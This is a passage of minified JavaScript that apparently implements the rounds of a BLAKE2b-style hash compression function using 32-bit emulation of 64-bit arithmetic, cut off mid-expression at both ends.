+ ut3 | 0) >>> 0 < J5 >>> 0 ? a5 + 1 | 0 : a5, V3 = ft2(J5 ^ (c4[t7 + 88 | 0] | c4[t7 + 89 | 0] << 8 | c4[t7 + 90 | 0] << 16 | c4[t7 + 91 | 0] << 24) ^ 327033209, V3 ^ (c4[t7 + 92 | 0] | c4[t7 + 93 | 0] << 8 | c4[t7 + 94 | 0] << 16 | c4[t7 + 95 | 0] << 24) ^ 1541459225, 32), z4 = ft2(z4 ^ (ut3 = V3 + 1595750129 | 0), (k5 = P5) ^ (P5 = (N6 = J5 = y4) - ((V3 >>> 0 < 2699217167) + 1521486533 | 0) | 0), 40), a5 = (et3 = y4) + a5 | 0, J5 = ft2((D5 = J5 = z4 + D5 | 0) ^ V3, N6 ^ (k5 = D5 >>> 0 < z4 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = P5 + ($3 = y4) | 0, M5 = a5 = (J5 = ut3 + (P5 = J5) | 0) >>> 0 < ut3 >>> 0 ? a5 + 1 | 0 : a5, a5 = X3 + a5 | 0, q4 = B5 ^ (V3 = U5 + (N6 = J5) | 0), B5 = a5 = V3 >>> 0 < N6 >>> 0 ? a5 + 1 | 0 : a5, ut3 = ft2(q4, a5 ^ Et3, 40), a5 = (Et3 = y4) + d5 | 0, J5 = ft2(R5 = U5 ^ (d5 = J5 = ut3 + R5 | 0), X3 ^ (U5 = d5 >>> 0 < ut3 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = B5 + (nt3 = y4) | 0, X3 = a5 = (B5 = V3 + (R5 = J5) | 0) >>> 0 < V3 >>> 0 ? a5 + 1 | 0 : a5, J5 = (H5 = ft2(B5 ^ ut3, Et3 ^ a5, 1)) + (V3 = c4[e6 + 72 | 0] | c4[e6 + 73 | 0] << 8 | c4[e6 + 74 | 0] << 16 | c4[e6 + 75 | 0] << 24) | 0, a5 = (yt3 = y4) + (Et3 = c4[e6 + 76 | 0] | c4[e6 + 77 | 0] << 8 | c4[e6 + 78 | 0] << 16 | c4[e6 + 79 | 0] << 24) | 0, wt3 = J5, K5 = J5 >>> 0 < V3 >>> 0 ? a5 + 1 | 0 : a5, W3 = It3, J5 = c4[e6 + 96 | 0] | c4[e6 + 97 | 0] << 8 | c4[e6 + 98 | 0] << 16 | c4[e6 + 99 | 0] << 24, ut3 = a5 = c4[e6 + 100 | 0] | c4[e6 + 101 | 0] << 8 | c4[e6 + 102 | 0] << 16 | c4[e6 + 103 | 0] << 24, z4 = (a5 = I5) + (I5 = ft2(N6 ^ z4, M5 ^ et3, 1)) | 0, a5 = (N6 = y4) + C5 | 0, a5 = (I5 >>> 0 > z4 >>> 0 ? a5 + 1 | 0 : a5) + ut3 | 0, a5 = (C5 = (C5 = z4) >>> 0 > (z4 = J5 + z4 | 0) >>> 0 ? a5 + 1 | 0 : a5) + W3 | 0, q4 = M5 = z4 + rt3 | 0, M5 = a5 = M5 >>> 0 < z4 >>> 0 ? a5 + 1 | 0 : a5, v5 = ft2(h5 ^ v5, x5 ^ F5, 48), x5 = a5 = ft2(v5 ^ z4, (F5 = y4) ^ C5, 32), a5 = S5 + Z3 | 0, a5 = (et3 = z4 = y4) + (_5 = (z4 = p5 + _5 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5) | 0, S5 = a5 = (C5 = z4) >>> 0 > (p5 = C5 + x5 | 0) >>> 0 ? a5 + 1 | 0 : a5, I5 = ft2(p5 ^ I5, N6 ^ a5, 40), a5 = (Z3 = y4) + M5 | 0, a5 = (N6 = I5 >>> 0 > (M5 = z4 = I5 + q4 | 0) >>> 0 ? a5 + 1 | 0 : a5) + K5 | 0, a5 = (h5 = M5 >>> 0 > (z4 = M5 + wt3 | 0) >>> 0 ? a5 + 1 | 0 : a5) + Bt3 | 0, wt3 = K5 = z4 + at3 | 0, K5 = a5 = K5 >>> 0 < z4 >>> 0 ? a5 + 1 | 0 : a5, q4 = z4, W3 = h5, z4 = c4[e6 + 116 | 0] | c4[e6 + 117 | 0] << 8 | c4[e6 + 118 | 0] << 16 | c4[e6 + 119 | 0] << 24, e6 = c4[e6 + 112 | 0] | c4[e6 + 113 | 0] << 8 | c4[e6 + 114 | 0] << 16 | c4[e6 + 115 | 0] << 24, l5 = ft2(l5 ^ C5, _5 ^ T3, 1), a5 = (T3 = y4) + k5 | 0, a5 = ((h5 = l5 + D5 | 0) >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5) + z4 | 0, a5 = (C5 = (_5 = h5) >>> 0 > (h5 = e6 + h5 | 0) >>> 0 ? a5 + 1 | 0 : a5) + Bt3 | 0, Dt3 = _5 = h5 + at3 | 0, _5 = a5 = _5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, a5 = ft2(h5 ^ m5, C5 ^ L5, 32), tt3 = h5 = y4, m5 = a5, C5 = h5, a5 = F5 + G5 | 0, v5 = h5 = g5 + v5 | 0, D5 = a5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, a5 = a5 + C5 | 0, k5 = h5 = h5 + m5 | 0, L5 = a5 = v5 >>> 0 > h5 >>> 0 ? a5 + 1 | 0 : a5, C5 = ft2(h5 ^ l5, T3 ^ a5, 40), a5 = (T3 = y4) + _5 | 0, m5 = ft2((h5 = C5 + Dt3 | 0) ^ m5, tt3 ^ (g5 = h5 >>> 0 < C5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = ft2(m5 ^ q4, (Dt3 = y4) ^ W3, 32), tt3 = l5 = y4, _5 = a5, q4 = l5, f5 = ft2(f5 ^ v5, D5 ^ O5, 1), a5 = b5 + (v5 = y4) | 0, a5 = ((l5 = u5) >>> 0 > (u5 = u5 + f5 | 0) >>> 0 ? a5 + 1 | 0 : a5) + At3 | 0, a5 = (u5 = (l5 = u5 + j5 | 0) >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5) + Et3 | 0, W3 = b5 = l5 + V3 | 0, b5 = a5 = b5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, D5 = f5, l5 = ft2(l5 ^ P5, u5 ^ $3, 32), a5 = (P5 = y4) + w5 | 0, E5 = ft2(D5 ^ (u5 = f5 = l5 + E5 | 0), (w5 = l5 >>> 0 > u5 >>> 0 ? a5 + 1 | 0 : a5) ^ v5, 40), a5 = ($3 = y4) + b5 | 0, v5 = f5 = E5 + W3 | 0, f5 = ft2(l5 ^ f5, P5 ^ (b5 = f5 >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = w5 + (o5 = y4) | 0, w5 = f5, P5 = a5 = (f5 = u5 + f5 | 0) >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5, a5 = a5 + q4 | 0, a5 = (D5 = f5) >>> 0 > (f5 = f5 + _5 | 0) >>> 0 ? a5 + 1 | 0 : a5, q4 = f5, f5 ^= H5, H5 = a5, l5 = ft2(f5, yt3 ^ a5, 40), a5 = (yt3 = y4) + K5 | 0, K5 = f5 = l5 + wt3 | 0, a5 = A8 + (W3 = l5 >>> 0 > f5 >>> 0 ? a5 + 1 | 0 : a5) | 0, wt3 = f5 = f5 + r11 | 0, F5 = a5 = f5 >>> 0 < r11 >>> 0 ? a5 + 1 | 0 : a5, f5 = h5, G5 = rt3, O5 = It3, h5 = ft2(x5 ^ M5, N6 ^ et3, 48), a5 = S5 + (et3 = y4) | 0, x5 = h5, S5 = a5 = (u5 = p5 + h5 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(u5 ^ I5, Z3 ^ a5, 1), a5 = (p5 = y4) + O5 | 0, a5 = ((I5 = h5 + G5 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) + g5 | 0, a5 = Qt3 + (f5 = (g5 = f5 + I5 | 0) >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5) | 0, M5 = I5 = g5 + ot3 | 0, I5 = a5 = I5 >>> 0 < ot3 >>> 0 ? a5 + 1 | 0 : a5, g5 = ft2(g5 ^ w5, f5 ^ o5, 32), a5 = X3 + (N6 = y4) | 0, w5 = g5, B5 = a5 = (g5 = B5 + g5 | 0) >>> 0 < B5 >>> 0 ? a5 + 1 | 0 : a5, f5 = ft2(h5 ^ g5, a5 ^ p5, 40), a5 = (a5 = I5) + (I5 = y4) | 0, p5 = h5 = f5 + M5 | 0, h5 = ft2(h5 ^ w5, N6 ^ (M5 = h5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = B5 + (Z3 = y4) | 0, N6 = h5, X3 = a5 = (B5 = g5 + h5 | 0) >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(f5 ^ B5, I5 ^ a5, 1), a5 = (I5 = y4) + F5 | 0, a5 = n9 + (f5 = (g5 = h5 + wt3 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) | 0, wt3 = w5 = g5 + mt3 | 0, w5 = a5 = w5 >>> 0 < mt3 >>> 0 ? a5 + 1 | 0 : a5, F5 = h5, G5 = I5, a5 = L5 + Dt3 | 0, a5 = (h5 = m5 + k5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, m5 = h5, k5 = a5, a5 = ft2(h5 ^ C5, T3 ^ a5, 1), C5 = I5 = y4, h5 = a5, a5 = b5 + z4 | 0, a5 = ((v5 = e6 + v5 | 0) >>> 0 < e6 >>> 0 ? a5 + 1 | 0 : a5) + I5 | 0, a5 = Ct3 + (v5 = (I5 = h5 + v5 | 0) >>> 0 < v5 >>> 0 ? a5 + 1 | 0 : a5) | 0, L5 = b5 = I5 + st3 | 0, b5 = a5 = b5 >>> 0 < st3 >>> 0 ? a5 + 1 | 0 : a5, I5 = ft2(I5 ^ R5, v5 ^ nt3, 32), a5 = S5 + (R5 = y4) | 0, v5 = I5, S5 = a5 = (S5 = u5) >>> 0 > (u5 = u5 + I5 | 0) >>> 0 ? a5 + 1 | 0 : a5, I5 = ft2(h5 ^ u5, a5 ^ C5, 40), a5 = (T3 = y4) + b5 | 0, C5 = h5 = I5 + L5 | 0, h5 = ft2(b5 = h5 ^ v5, R5 ^ (v5 = h5 >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = S5 + (nt3 = y4) | 0, S5 = h5, b5 = h5 = u5 + h5 | 0, R5 = a5 = h5 >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5, L5 = g5, O5 = f5, h5 = ft2(E5 ^ D5, P5 ^ $3, 1), a5 = (u5 = y4) + Q5 | 0, a5 = U5 + ((g5 = h5 + gt3 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = At3 + (f5 = (g5 = g5 + d5 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5) | 0, U5 = d5 = g5 + j5 | 0, d5 = a5 = d5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, E5 = h5, h5 = (g5 = ft2(g5 ^ x5, f5 ^ et3, 32)) + m5 | 0, a5 = (m5 = y4) + k5 | 0, f5 = h5, u5 = ft2(h5 ^ E5, (x5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5) ^ u5, 40), a5 = (et3 = y4) + d5 | 0, d5 = h5 = u5 + U5 | 0, D5 = ft2(h5 ^ g5, m5 ^ (U5 = h5 >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5), 48), g5 = ft2(D5 ^ L5, (a5 = O5) ^ (O5 = y4), 32), a5 = (L5 = y4) + R5 | 0, m5 = h5 = g5 + b5 | 0, E5 = ft2(h5 ^ F5, (k5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5) ^ G5, 40), a5 = (F5 = y4) + w5 | 0, w5 = h5 = E5 + wt3 | 0, h5 = ft2(h5 ^ g5, L5 ^ (P5 = h5 >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = k5 + ($3 = y4) | 0, k5 = h5, L5 = a5 = (g5 = m5) >>> 0 > (m5 = m5 + h5 | 0) >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(m5 ^ E5, F5 ^ a5, 1), a5 = Bt3 + (wt3 = y4) | 0, F5 = h5, Dt3 = h5 = at3 + h5 | 0, E5 = a5 = h5 >>> 0 < at3 >>> 0 ? a5 + 1 | 0 : a5, g5 = lt3, h5 = ft2(I5 ^ b5, T3 ^ R5, 1), a5 = M5 + (I5 = y4) | 0, a5 = ((b5 = p5) >>> 0 > (p5 = h5 + p5 | 0) >>> 0 ? a5 + 1 | 0 : a5) + dt3 | 0, a5 = (b5 = (g5 = g5 + p5 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5) + vt3 | 0, G5 = p5 = g5 + pt3 | 0, M5 = a5 = p5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, R5 = h5, p5 = ft2(_5 ^ K5, W3 ^ tt3, 48), a5 = ft2(p5 ^ g5, (T3 = y4) ^ b5, 32), tt3 = h5 = y4, _5 = a5, g5 = h5, a5 = x5 + O5 | 0, a5 = (h5 = f5 + D5 | 0) >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, f5 = h5, x5 = a5, a5 = a5 + g5 | 0, b5 = h5 = h5 + _5 | 0, D5 = a5 = f5 >>> 0 > h5 >>> 0 ? a5 + 1 | 0 : a5, g5 = ft2(h5 ^ R5, a5 ^ I5, 40), a5 = (a5 = M5) + (M5 = y4) | 0, R5 = h5 = g5 + G5 | 0, K5 = a5 = h5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, a5 = a5 + E5 | 0, W3 = a5 = (I5 = h5 + Dt3 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, E5 = a5, h5 = ft2(u5 ^ f5, x5 ^ et3, 1), a5 = Y5 + (u5 = y4) | 0, a5 = v5 + ((f5 = h5 + ct3 | 0) >>> 0 < ct3 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = ut3 + (C5 = (f5 = f5 + C5 | 0) >>> 0 < C5 >>> 0 ? a5 + 1 | 0 : a5) | 0, G5 = v5 = f5 + J5 | 0, v5 = a5 = v5 >>> 0 < J5 >>> 0 ? a5 + 1 | 0 : a5, x5 = h5, a5 = ft2(f5 ^ N6, C5 ^ Z3, 32), O5 = h5 = y4, f5 = a5, C5 = h5, a5 = T3 + H5 | 0, N6 = h5 = p5 + q4 | 0, H5 = a5 = h5 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, a5 = a5 + C5 | 0, a5 = (p5 = h5 + f5 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, h5 = p5 ^ x5, x5 = a5, C5 = ft2(h5, a5 ^ u5, 40), a5 = (Z3 = y4) + v5 | 0, u5 = h5 = C5 + G5 | 0, q4 = ft2(h5 ^ f5, O5 ^ (v5 = h5 >>> 0 < C5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = ft2(q4 ^ I5, (et3 = y4) ^ E5, 32), Dt3 = h5 = y4, G5 = a5, E5 = h5, h5 = ft2(l5 ^ N6, H5 ^ yt3, 1), a5 = U5 + (l5 = y4) | 0, a5 = _t3 + ((f5 = h5 + d5 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (d5 = (f5 = f5 + it3 | 0) >>> 0 < it3 >>> 0 ? a5 + 1 | 0 : a5) + kt3 | 0, N6 = U5 = f5 + ht3 | 0, U5 = a5 = U5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, f5 = ft2(f5 ^ S5, d5 ^ nt3, 32), a5 = X3 + (H5 = y4) | 0, S5 = f5, d5 = l5, l5 = a5 = (f5 = B5 + f5 | 0) >>> 0 < B5 >>> 0 ? a5 + 1 | 0 : a5, d5 = ft2(h5 ^ f5, d5 ^ a5, 40), a5 = (nt3 = y4) + U5 | 0, B5 = h5 = d5 + N6 | 0, h5 = ft2(N6 = h5 ^ S5, H5 ^ (S5 = h5 >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = l5 + (T3 = y4) | 0, l5 = h5, U5 = h5 = f5 + h5 | 0, N6 = a5 = h5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, a5 = a5 + E5 | 0, X3 = a5 = (E5 = h5 + G5 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, f5 = ft2(E5 ^ F5, wt3 ^ a5, 40), a5 = W3 + (H5 = y4) | 0, a5 = ((h5 = f5 + I5 | 0) >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5) + It3 | 0, I5 = h5, W3 = h5 = h5 + rt3 | 0, F5 = a5 = I5 >>> 0 > h5 >>> 0 ? a5 + 1 | 0 : a5, O5 = At3, I5 = ft2(_5 ^ R5, K5 ^ tt3, 48), a5 = (yt3 = y4) + D5 | 0, _5 = h5 = I5 + b5 | 0, a5 = ft2(h5 ^ g5, (b5 = h5 >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5) ^ M5, 1), M5 = g5 = y4, h5 = a5, a5 = v5 + A8 | 0, a5 = ((u5 = u5 + r11 | 0) >>> 0 < r11 >>> 0 ? a5 + 1 | 0 : a5) + g5 | 0, a5 = (u5 = (g5 = h5 + u5 | 0) >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5) + O5 | 0, D5 = v5 = g5 + j5 | 0, v5 = a5 = v5 >>> 0 < g5 >>> 0 ? a5 + 1 | 0 : a5, g5 = ft2(g5 ^ l5, u5 ^ T3, 32), a5 = L5 + (R5 = y4) | 0, m5 = a5 = (l5 = g5 + m5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(h5 ^ l5, a5 ^ M5, 40), a5 = (K5 = y4) + v5 | 0, v5 = h5 = u5 + D5 | 0, g5 = ft2(h5 ^ g5, R5 ^ (M5 = h5 >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = m5 + (D5 = y4) | 0, R5 = a5 = (m5 = g5 + l5 | 0) >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(u5 ^ m5, K5 ^ a5, 1), a5 = (K5 = y4) + F5 | 0, a5 = Et3 + ((l5 = h5 + W3 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (u5 = (l5 = l5 + V3 | 0) >>> 0 < V3 >>> 0 ? a5 + 1 | 0 : a5) + Q5 | 0, wt3 = Q5 = l5 + gt3 | 0, Q5 = a5 = Q5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, L5 = h5, O5 = l5, T3 = u5, l5 = lt3, h5 = ft2(d5 ^ U5, N6 ^ nt3, 1), a5 = P5 + (d5 = y4) | 0, a5 = ((u5 = w5) >>> 0 > (w5 = h5 + w5 | 0) >>> 0 ? a5 + 1 | 0 : a5) + dt3 | 0, a5 = kt3 + (u5 = (l5 = l5 + w5 | 0) >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5) | 0, P5 = w5 = l5 + ht3 | 0, U5 = a5 = w5 >>> 0 < ht3 >>> 0 ? a5 + 1 | 0 : a5, w5 = h5, u5 = a5 = ft2(l5 ^ I5, u5 ^ yt3, 32), a5 = x5 + et3 | 0, a5 = (N6 = h5 = y4) + (p5 = (h5 = p5 + q4 | 0) >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5) | 0, x5 = a5 = (I5 = h5 + u5 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, w5 = ft2(I5 ^ w5, a5 ^ d5, 40), a5 = (et3 = y4) + U5 | 0, U5 = ft2(P5 = (l5 = w5 + P5 | 0) ^ u5, N6 ^ (u5 = l5 >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = ft2(U5 ^ O5, (nt3 = y4) ^ T3, 32), yt3 = d5 = y4, P5 = a5, N6 = d5, h5 = ft2(h5 ^ C5, p5 ^ Z3, 1), a5 = ut3 + (d5 = y4) | 0, a5 = S5 + ((p5 = h5 + J5 | 0) >>> 0 < J5 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = _t3 + (B5 = (p5 = p5 + B5 | 0) >>> 0 < B5 >>> 0 ? a5 + 1 | 0 : a5) | 0, O5 = C5 = p5 + it3 | 0, C5 = a5 = C5 >>> 0 < it3 >>> 0 ? a5 + 1 | 0 : a5, S5 = h5, q4 = d5, p5 = ft2(p5 ^ k5, B5 ^ $3, 32), a5 = (k5 = y4) + b5 | 0, d5 = h5 = p5 + _5 | 0, B5 = ft2(h5 ^ S5, (_5 = h5 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5) ^ q4, 40), a5 = (Z3 = y4) + C5 | 0, S5 = h5 = B5 + O5 | 0, h5 = ft2(h5 ^ p5, k5 ^ (b5 = h5 >>> 0 < B5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = _5 + (O5 = y4) | 0, C5 = h5, _5 = h5 = d5 + h5 | 0, k5 = a5 = h5 >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, a5 = a5 + N6 | 0, N6 = h5 = h5 + P5 | 0, p5 = K5, K5 = a5 = _5 >>> 0 > h5 >>> 0 ? a5 + 1 | 0 : a5, p5 = ft2(h5 ^ L5, p5 ^ a5, 40), a5 = (a5 = Q5) + (Q5 = y4) | 0, q4 = h5 = p5 + wt3 | 0, L5 = a5 = h5 >>> 0 < p5 >>> 0 ? a5 + 1 | 0 : a5, d5 = u5, h5 = ft2(G5 ^ W3, F5 ^ Dt3, 48), a5 = X3 + ($3 = y4) | 0, X3 = h5, u5 = (h5 = E5 + h5 | 0) ^ f5, f5 = a5 = h5 >>> 0 < E5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(u5, a5 ^ H5, 1), a5 = (H5 = y4) + d5 | 0, a5 = n9 + ((l5 = u5 + l5 | 0) >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (d5 = (l5 = l5 + mt3 | 0) >>> 0 < mt3 >>> 0 ? a5 + 1 | 0 : a5) + Y5 | 0, W3 = E5 = l5 + ct3 | 0, E5 = a5 = E5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5, l5 = ft2(l5 ^ C5, d5 ^ O5, 32), a5 = R5 + (F5 = y4) | 0, R5 = l5, m5 = a5 = (d5 = m5 + l5 | 0) >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, u5 = ft2(u5 ^ d5, H5 ^ a5, 40), a5 = (a5 = E5) + (E5 = y4) | 0, C5 = l5 = u5 + W3 | 0, l5 = ft2(G5 = l5 ^ R5, F5 ^ (R5 = l5 >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = m5 + (wt3 = y4) | 0, H5 = l5, W3 = a5 = (m5 = d5 + l5 | 0) >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5, l5 = ft2(u5 ^ m5, E5 ^ a5, 1), a5 = (E5 = y4) + L5 | 0, a5 = A8 + ((u5 = l5 + q4 | 0) >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = z4 + (d5 = (u5 = u5 + r11 | 0) >>> 0 < r11 >>> 0 ? a5 + 1 | 0 : a5) | 0, Dt3 = F5 = e6 + u5 | 0, F5 = a5 = F5 >>> 0 < e6 >>> 0 ? a5 + 1 | 0 : a5, G5 = l5, O5 = E5, E5 = u5, T3 = d5, l5 = ft2(B5 ^ _5, k5 ^ Z3, 1), a5 = (d5 = y4) + M5 | 0, a5 = Ct3 + ((u5 = l5 + v5 | 0) >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (B5 = (u5 = u5 + st3 | 0) >>> 0 < st3 >>> 0 ? a5 + 1 | 0 : a5) + z4 | 0, M5 = v5 = e6 + u5 | 0, v5 = a5 = v5 >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5, _5 = l5, u5 = a5 = ft2(u5 ^ X3, B5 ^ $3, 32), B5 = l5 = y4, a5 = x5 + nt3 | 0, x5 = a5 = (l5 = I5 + U5 | 0) >>> 0 < I5 >>> 0 ? a5 + 1 | 0 : a5, a5 = a5 + B5 | 0, a5 = (I5 = l5) >>> 0 > (l5 = l5 + u5 | 0) >>> 0 ? a5 + 1 | 0 : a5, U5 = l5, l5 ^= _5, _5 = a5, d5 = ft2(l5, a5 ^ d5, 40), a5 = (Z3 = y4) + v5 | 0, B5 = ft2(v5 = (l5 = d5 + M5 | 0) ^ u5, B5 ^ (u5 = l5 >>> 0 < d5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = ft2(B5 ^ E5, (a5 = T3) ^ (T3 = y4), 32), $3 = E5 = y4, v5 = a5, M5 = f5, f5 = g5, a5 = ft2(I5 ^ w5, x5 ^ et3, 1), k5 = g5 = y4, I5 = a5, a5 = b5 + vt3 | 0, a5 = ((w5 = S5 + pt3 | 0) >>> 0 < pt3 >>> 0 ? a5 + 1 | 0 : a5) + g5 | 0, w5 = a5 = (g5 = I5 + w5 | 0) >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5, f5 = ft2(g5 ^ f5, a5 ^ D5, 32), a5 = (a5 = M5) + (M5 = y4) | 0, I5 = ft2((h5 = f5 + h5 | 0) ^ I5, k5 ^ (x5 = h5 >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5), 40), a5 = w5 + (et3 = y4) | 0, S5 = I5, a5 = Qt3 + ((b5 = g5) >>> 0 > (g5 = g5 + I5 | 0) >>> 0 ? a5 + 1 | 0 : a5) | 0, b5 = a5 = (I5 = g5 + ot3 | 0) >>> 0 < ot3 >>> 0 ? a5 + 1 | 0 : a5, g5 = ft2(f5 ^ I5, M5 ^ a5, 48), a5 = x5 + (nt3 = y4) | 0, D5 = h5, f5 = g5, x5 = h5 = h5 + g5 | 0, M5 = a5 = D5 >>> 0 > h5 >>> 0 ? a5 + 1 | 0 : a5, a5 = a5 + E5 | 0, D5 = a5 = (E5 = h5 + v5 | 0) >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, h5 = (w5 = ft2(E5 ^ G5, a5 ^ O5, 40)) + Dt3 | 0, a5 = (Dt3 = y4) + F5 | 0, k5 = h5, X3 = h5 >>> 0 < w5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(P5 ^ q4, L5 ^ yt3, 48), a5 = (P5 = y4) + K5 | 0, N6 = g5 = h5 + N6 | 0, G5 = Q5, Q5 = a5 = g5 >>> 0 < h5 >>> 0 ? a5 + 1 | 0 : a5, a5 = ft2(g5 ^ p5, G5 ^ a5, 1), q4 = g5 = y4, p5 = a5, a5 = u5 + n9 | 0, a5 = ((l5 = l5 + mt3 | 0) >>> 0 < mt3 >>> 0 ? a5 + 1 | 0 : a5) + g5 | 0, a5 = Et3 + (l5 = (g5 = l5 + p5 | 0) >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5) | 0, L5 = u5 = g5 + V3 | 0, u5 = a5 = u5 >>> 0 < V3 >>> 0 ? a5 + 1 | 0 : a5, g5 = ft2(g5 ^ f5, l5 ^ nt3, 32), a5 = W3 + (F5 = y4) | 0, K5 = g5, g5 = (f5 = m5 + g5 | 0) ^ p5, p5 = a5 = f5 >>> 0 < m5 >>> 0 ? a5 + 1 | 0 : a5, l5 = ft2(g5, q4 ^ a5, 40), a5 = (a5 = u5) + (u5 = y4) | 0, q4 = g5 = l5 + L5 | 0, g5 = ft2(m5 = g5 ^ K5, F5 ^ (K5 = g5 >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5), 48), a5 = p5 + (nt3 = y4) | 0, W3 = g5, f5 = a5 = (g5 = f5 + g5 | 0) >>> 0 < f5 >>> 0 ? a5 + 1 | 0 : a5, l5 = ft2(g5 ^ l5, u5 ^ a5, 1), a5 = (m5 = y4) + X3 | 0, a5 = Bt3 + ((u5 = l5 + k5 | 0) >>> 0 < l5 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (p5 = (u5 = u5 + at3 | 0) >>> 0 < at3 >>> 0 ? a5 + 1 | 0 : a5) + At3 | 0, tt3 = L5 = u5 + j5 | 0, L5 = a5 = L5 >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5, F5 = l5, G5 = u5, O5 = p5, l5 = ft2(S5 ^ x5, M5 ^ et3, 1), a5 = (M5 = y4) + It3 | 0, a5 = R5 + (l5 >>> 0 > (u5 = l5 + rt3 | 0) >>> 0 ? a5 + 1 | 0 : a5) | 0, p5 = a5 = (u5 = u5 + C5 | 0) >>> 0 < C5 >>> 0 ? a5 + 1 | 0 : a5, a5 = ft2(h5 ^ u5, a5 ^ P5, 32), P5 = h5 = y4, C5 = a5, a5 = _5 + T3 | 0, a5 = (h5 = B5 + U5 | 0) >>> 0 < B5 >>> 0 ? a5 + 1 | 0 : a5, B5 = h5, x5 = a5, a5 = P5 + a5 | 0, _5 = h5 = h5 + C5 | 0, S5 = a5 = B5 >>> 0 > h5 >>> 0 ? a5 + 1 | 0 : a5, h5 = ft2(h5 ^ l5, M5 ^ a5, 40), a5 = p5 + (T3 = y4) | 0, U5 = h5, a5 = ut3 + ((h5 = u5 + h5 | 0) >>> 0 < u5 >>> 0 ? a5 + 1 | 0 : a5) | 0, a5 = (h5 = h5 + J5 | 0) >>> 0 < J5 >>> 0 ? a5 + 1 | 0 : a5, M5 = h5, h5 ^= C5, C5 = a5, p5 = ft2(h5, P5 ^ a5, 48), a5 = ft2(p5 ^ G5, (a5 = O5) ^ (O5 = y4), 32), et3 = h5 = y4, P5 = a5, R5 = h5, h5 = ft2(d5 ^ B5, x5 ^ Z3, 1), a5 = vt3 + (u5 = y4) | 0, a5 = b5 + ((l5 = h5 + pt3 | 0) >>> 0 < pt3 